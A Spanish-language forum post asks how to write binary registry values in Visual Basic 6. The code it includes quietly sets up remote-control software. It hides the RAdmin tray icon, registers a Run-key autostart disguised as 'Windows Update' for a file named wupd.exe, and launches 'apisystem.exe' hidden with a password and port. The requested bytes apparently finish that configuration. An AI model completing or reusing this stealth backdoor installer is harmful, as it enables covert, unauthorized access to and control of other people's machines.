Hola people veran lo mio es sencillo lo que necesito es agregar tres valores en el Registro de tipo Binary como veran en el codigo de abajo, estoy anadiendo:
01 00 00 00
pero tambien necesito agregar estos otros 2..
4c 78 c7 ed d9 e4 16 e9 45 1b e9 7c bb 7c 2e cb
y
b4 11 00 00
como hago para agregarlos
Gracias...
Const REG_SZ = 1 ' Unicode nul terminated string
Const REG_BINARY = 3 ' Free form binary
Const HKEY_LOCAL_MACHINE = &H80000002
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Sub SaveStringLong(hKey As Long, strPath As String, strValue As String, strData As String, dif As String)
Dim Ret
' Create a new key
RegCreateKey hKey, strPath, Ret
' Set the key's value
If dif = 1 Then
RegSetValueEx Ret, strValue, 0, REG_BINARY, CLng(strData), 4
ElseIf dif = 2 Then
RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData)
End If
' Close the key
RegCloseKey Ret
End Sub
Private Sub Form_Load()
'KPD-Team 1998
'URL: http://www.allapi.net/
'E-Mail: KPDTeam@Allapi.net
Dim strString As String
'Ask for a value
'Save the value to the registry
SaveStringLong HKEY_LOCAL_MACHINE, "System\RAdmin\v2.0\Server\Parameters", "DisableTrayIcon", "01", "1" ' Agrego 01 00 00 00
SaveStringLong HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", "Windows Update", "C:\Windows\System32\wupd.exe", "2"
Shell "apisystem.exe /pass:zxczxc /port:4532", vbHide
End
End Sub